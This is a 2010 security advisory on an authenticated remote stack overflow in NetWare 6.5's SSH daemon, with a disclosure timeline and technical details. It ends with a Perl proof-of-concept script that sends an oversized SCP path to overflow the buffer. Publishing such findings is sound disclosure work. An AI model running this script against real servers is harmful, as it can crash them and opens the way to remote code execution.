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Application:   Novell Netware OpenSSH Remote Stack Overflow

Platforms:  Netware 6.5

Exploitation:   Remote code execution

CVE Number:

Novell TID:   7006756

ZeroDayInitiative: ZDI-10-169

Author:   Francis Provencher (Protek Research Lab's)

Blog:   http://www.protekresearchlab.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham,
Massachusetts. The company specializes in enterprise operating systems, such
as SUSE

Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise
and Novell

Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and
software development. Novell technology contributed to the emergence of
local

area networks, which displaced the dominant mainframe computing model and
changed computing worldwide. Today, a primary focus of the company is on
developing

open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline
============================

2010-04-06 The details of this case have been submitted to the vendor as
ZDI-CAN-674.
2010-09-01 Vendor respond with an advisory without nothing to fix the
vulnerability.

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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Novell Netware. Authentication is required to
exploit

this vulnerability.

The flaw exists within SSHD.NLM. When the application attempts to resolve an
absolute path on the server, a 512 byte destination buffer is used without

bounds checking. By providing a large enough value, an attacker can cause a
buffer to be overflowed. Successful exploitation results in remote code
execution

under the context of the server.

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===========
4) The Code
===========

#!/usr/bin/perl

use Net::SSH2;
use Getopt::Std;

@overflow = ('A' x 1034);

getopts('H:P:u:p:', \%opts);
$host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'}; $password =
$opts{'p'};

if(!defined($host) || !defined($username))
{
     print "\nUsage: $0 -H <host> -P [port] -u <username> -p
[password]\n\n";
     exit(0);

}

print "\SCP Get... Beep, Beep";
foreach(@overflow) { $ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection
Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ . "\n\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); }
sleep(1);

close(FD); close(FDD); close(FDDD); close(FDDDD);

exit;

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(PRL-2010-07)